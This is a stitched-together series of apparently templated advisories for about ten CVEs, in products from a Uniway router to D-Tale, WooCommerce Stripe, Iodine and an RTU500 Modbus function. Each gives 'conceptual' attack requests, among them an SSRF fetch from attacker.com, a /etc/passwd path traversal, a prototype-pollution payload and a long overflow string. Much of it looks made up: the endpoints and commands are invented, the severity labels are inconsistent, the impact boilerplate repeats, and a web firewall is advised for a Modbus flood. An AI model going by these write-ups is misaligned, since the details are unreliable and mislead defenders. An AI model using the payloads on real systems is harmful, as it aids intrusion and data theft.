Author: Ameeba

Overview

A critical vulnerability, CVE-2023-7209, has been identified in the Uniway Router up to version 2.0. This vulnerability resides in the file /boaform/device_reset.cgi of the Device Reset Handler and can lead to a denial of service attack. This severe issue could potentially result in system compromise or data leakage, posing a significant threat to any systems utilizing the affected router.

Vulnerability Summary

CVE ID: CVE-2023-7209
Severity: Critical (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of service leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Uniway Router | Up to 2.0

How the Exploit Works

The vulnerability in the Uniway Router is located within an unknown functionality of the /boaform/device_reset.cgi file. This flaw can be exploited remotely, without any user interaction or special privileges, to cause a denial of service attack. The exploitation procedure involves manipulating the input to the Device Reset Handler, which then leads to unexpected system behavior and potential system compromise or data leakage.

Conceptual Example Code

The following is a conceptual example of how this vulnerability might be exploited:

POST /boaform/device_reset.cgi HTTP/1.1
Host: target_router_IP
Content-Type: application/x-www-form-urlencoded
device_reset=1&payload=<malicious_payload>

In this example, `` would be replaced by the attacker’s code aimed at exploiting the vulnerability to cause a denial of service, potentially leading to system compromise or data leakage.

Mitigation Measures

As the vendor has not responded with a patch, the recommended immediate mitigation measure is to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS). These can help to filter out malicious traffic and protect the router from being exploited. However, these are temporary solutions and it is advised to keep an eye out for an official patch from the vendor, which would provide the most comprehensive fix for the vulnerability.

Overview

The vulnerability CVE-2024-21642 pertains to D-Tale, a visualizer for Pandas data structures, and affects versions prior to 3.9.0. The issue lies in the potential for server-side request forgery (SSRF), which could allow an attacker access to server files. Given the sensitive nature of the data that could be accessed, this vulnerability poses a significant risk.

Vulnerability Summary

CVE ID: CVE-2024-21642
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

D-Tale | Prior to 3.9.0

How the Exploit Works

The exploit works by using the `Load From the Web` feature in D-Tale versions prior to 3.9.0. An attacker can craft a malicious server-side request that is then forged by the vulnerable application. This allows an attacker to access files on the server, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited. Note that this is a simplified representation and actual exploitation may involve more complex steps.

GET /load-from-web?file=http://attacker.com/malicious-file HTTP/1.1
Host: vulnerable-server.com

In this example, the “load-from-web” feature is misused to fetch a file from an attacker-controlled server. This file could contain malicious code or commands that compromise the server or leak data.

Overview

The vulnerability identified as CVE-2023-39296 is a Prototype Pollution vulnerability that affects multiple versions of the QNAP Operating System. This security flaw has the potential to compromise system integrity or lead to data leakage if successfully exploited, thus posing a significant risk to users’ data and privacy.

Vulnerability Summary

CVE ID: CVE-2023-39296
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

QTS | All versions prior to 5.1.3.2578 build 20231110
QuTS hero | All versions prior to h5.1.3.2578 build 20231110

How the Exploit Works

The exploit takes advantage of a Prototype Pollution vulnerability in the QNAP Operating Systems. Prototype Pollution refers to the ability to modify a JavaScript object prototype. When this occurs, properties that are meant to be present on all objects become overwritten or polluted, hence the name. In this case, the exploit allows users to override existing attributes with incompatible types. If an attribute is overridden with an incompatible type, it can cause the system to crash.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited, demonstrated through a JSON payload. This payload could be sent to a vulnerable endpoint, causing the prototype to be polluted and potentially leading to a system crash.

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "__proto__": { "polluted": "Prototype Polluted!" } }

This payload would add a property “polluted” to all objects, demonstrating the Prototype Pollution vulnerability.

Overview

CVE-2023-52143 is a significant vulnerability that exposes sensitive information to unauthorized actors in the Naa986 WP Stripe Checkout. This vulnerability affects users running versions through 1.2.2.37. The exploitation of this vulnerability can result in potential system compromise or critical data leakage, posing severe security risks to the impacted systems.

Vulnerability Summary

CVE ID: CVE-2023-52143
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to sensitive data leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Naa986 WP Stripe Checkout | n/a through 1.2.2.37

How the Exploit Works

The vulnerability stems from improper validation or sanitization of user-supplied data within the WP Stripe Checkout. An attacker can manipulate this flaw to gain unauthorized access to sensitive data. The attacker does not need any specific privileges or user interaction to exploit this vulnerability, making it a high-risk issue.

Conceptual Example Code

A conceptual example of how this vulnerability might be exploited could involve the attacker sending a malicious HTTP request to the vulnerable endpoint. The request could look like the following:

GET /wp-stripe-checkout/data-leak?payload=malicious_code HTTP/1.1
Host: target.example.com

In the above example, “malicious_code” could be a string crafted to exploit the vulnerability and gain unauthorized access to sensitive data. This is a conceptual example and may not represent the exact method used to exploit the vulnerability.

Mitigation

Users are advised to apply the vendor-provided patch to mitigate this vulnerability. If the patch cannot be applied immediately, employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation by detecting and blocking attempts to exploit this vulnerability. Regularly updating and patching software will help prevent future vulnerabilities.

Overview

CVE-2023-50991 represents a significant buffer overflow vulnerability in Tenda i29, affecting versions 1.0 V1.0.0.5 and 1.0 V1.0.0.2. This vulnerability exposes systems to potential remote denial-of-service (DoS) attacks, posing a substantial security risk for users and organizations using these versions. It matters because successful exploitation may result in system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2023-50991
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda i29 | 1.0 V1.0.0.5
Tenda i29 | 1.0 V1.0.0.2

How the Exploit Works

The vulnerability arises due to inadequate handling of the pingIp parameter in the pingSet function of Tenda i29. By exploiting this vulnerability, remote attackers can overflow the buffer with excessive data, leading to a denial of service (DoS). In some cases, this can also provide an opportunity for the attacker to execute arbitrary code or cause data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:
“`http
POST /pingSet HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
pingIp=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Overview

The cybersecurity landscape has witnessed a new vulnerability, CVE-2023-51502, which affects WooCommerce Stripe Payment Gateway. This vulnerability allows an attacker to bypass authorization through user-controlled key, potentially leading to system compromise or data leakage. Given the widespread use of the WooCommerce Stripe Payment Gateway, this vulnerability poses significant risks to many online businesses.

Vulnerability Summary

CVE ID: CVE-2023-51502
Severity: High – 7.5 CVSS Score
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

WooCommerce Stripe Payment Gateway | Up to and including 7.6.1

How the Exploit Works

An attacker can exploit the vulnerability by manipulating user-controlled keys in the WooCommerce Stripe Payment Gateway. Because the system does not correctly verify the permissions, this can allow unauthorized access to sensitive data or even system control.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability. Note this is not real exploit code, but a simplified representation of how the attack might occur.

POST /payment/authorize HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"user_key": "malicious_key",
"command": "extract_all_user_data"
}

In this example, the attacker sends a POST request with a malicious key and a command to extract all user data.

Mitigation Measures

To mitigate this vulnerability, users should immediately apply the vendor-supplied patch. In the absence of a patch, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) capable of detecting and blocking attempts to exploit this vulnerability. Regularly updating and patching systems is crucial to maintaining a robust cybersecurity posture.

Overview

This report provides a detailed analysis of the CVE-2024-22050 vulnerability, a severe path traversal issue found in the Iodine static file service for versions below 0.7.33. This vulnerability could potentially allow unauthenticated, remote attackers to access unauthorized data and potentially compromise the system, highlighting why it requires immediate attention and action.

Vulnerability Summary

CVE ID: CVE-2024-22050
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Iodine | < 0.7.33 How the Exploit Works

The exploit takes advantage of a path traversal vulnerability in Iodine’s static file service. An attacker can craft malicious URLs to traverse directories and gain unauthorized access to files outside the public folder. Because the service does not properly sanitize input, these URLs can potentially lead to sensitive system information or data leakage.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit the vulnerability using a malicious URL:

GET /../../../etc/passwd HTTP/1.1
Host: vulnerable-iodine.example.com

In this example, the attacker is attempting to access the /etc/passwd file, which is typically restricted and contains sensitive user information.

Mitigation Guidance

To mitigate the risks posed by this vulnerability, it is recommended to apply the vendor’s patch to update Iodine to version 0.7.33 or later. In situations where immediate patching is not feasible, implementing Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation by blocking or alerting on suspicious URL patterns.

Overview

CVE-2024-0241 is a severe vulnerability that affects versions of encoded_id-rails that are before 1.0.0.beta2. This flaw allows a remote and unauthenticated attacker to potentially cause a Denial of Service (DoS) state. The impact of this vulnerability is significant, as it could cause severe disruptions in services and potentially lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2024-0241
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: The successful exploitation of this vulnerability can lead to a Denial of Service (DoS) condition, potentially causing system compromise or data leakage.

Affected Products

Product | Affected Versions

Encoded_id-rails | Before 1.0.0.beta2

How the Exploit Works

The vulnerability lies in the handling of the “id” parameter in an HTTP request by encoded_id-rails. By sending an HTTP request with an extremely long “id” parameter, a remote and unauthenticated attacker can trigger a buffer overflow condition. This, in turn, can lead to uncontrolled resource consumption, causing a denial of service condition.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This example shows a HTTP POST request with an extremely long “id” parameter:

POST /rails/encoded_id HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
id=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111....

Please note that it is a conceptual example and the actual exploit code might differ.

Overview

The CVE-2022-2081 vulnerability affects the HCI Modbus TCP function in certain product versions. This vulnerability could potentially lead to a system compromise or data leakage if exploited. Understanding and mitigating this vulnerability is crucial for organizations that rely on these systems for their operations.

Vulnerability Summary

CVE ID: CVE-2022-2081
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage, potential reboot of the targeted RTU500 CMU.

Affected Products

Product | Affected Versions

HCI Modbus TCP function | All versions with enabled and configured HCI Modbus TCP

How the Exploit Works

The vulnerability exists in the HCI Modbus TCP function. If this function is enabled and configured, an attacker can exploit it by sending a specially crafted, high-rate message to the RTU500, which causes the targeted RTU500 CMU to reboot. The vulnerability arises from a lack of flood control, leading to an internal stack overflow in the HCI Modbus TCP function.

Conceptual Example Code

This is a conceptual representation of how the vulnerability might be exploited. In this instance, the attacker would send a high volume of messages to the target, causing a stack overflow and subsequent reboot.

FOR i = 1 TO 10000
SEND_MESSAGE_TO_TARGET("192.168.1.1", "Special crafted message")
NEXT i

Impact Summary

A successful exploitation of this vulnerability can lead to a potential system compromise or data leakage. The targeted RTU500 CMU would reboot, interrupting its normal operations and potentially leading to operational downtime.

Mitigation Guidance

Users can mitigate this vulnerability by applying the vendor’s patch or using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Regularly updating and patching systems can also help to prevent this vulnerability from being exploited.

Overview

The common vulnerability exposure (CVE) identified as CVE-2023-50082 pertains to a security flaw in the Aoyun Technology pbootcms V3.1.2. This vulnerability exposes the software to Incorrect Access Control attacks, potentially allowing unauthorized remote attackers to access sensitive information via session leakage and circumvent backend management platform login requirements. This exposure could result in system compromise or data leakage, posing a significant risk to the integrity and confidentiality of the affected systems.

Vulnerability Summary

CVE ID: CVE-2023-50082
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Aoyun Technology pbootcms | V3.1.2

How the Exploit Works

The Incorrect Access Control vulnerability within Aoyun Technology pbootcms V3.1.2 allows remote attackers to access sensitive information via session leakage. This leakage is due to improper session management, which could potentially allow an attacker to intercept a user session or bypass the login mechanism of the backend management platform. This could lead to unauthorized access to the system, resulting in data theft or system compromise.

Conceptual Example Code

The following is a conceptual example of how this vulnerability may be exploited using a HTTP request to initiate a session leakage:

GET /pbootcms/ HTTP/1.1
Host: target.example.com
Cookie: SESSIONID=...

This HTTP request could potentially allow an attacker to initiate a session with the target server using a leaked or intercepted session ID.

Mitigation Guidance

To mitigate the CVE-2023-50082 vulnerability, it is recommended to apply the latest patch provided by Aoyun Technology for the pbootcms. If a patch is not immediately available or cannot be applied, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could serve as a temporary mitigation measure to detect and block potential exploits. Always ensure to follow best practices for cybersecurity, including maintaining up-to-date software, regularly monitoring system logs, and implementing robust access control mechanisms.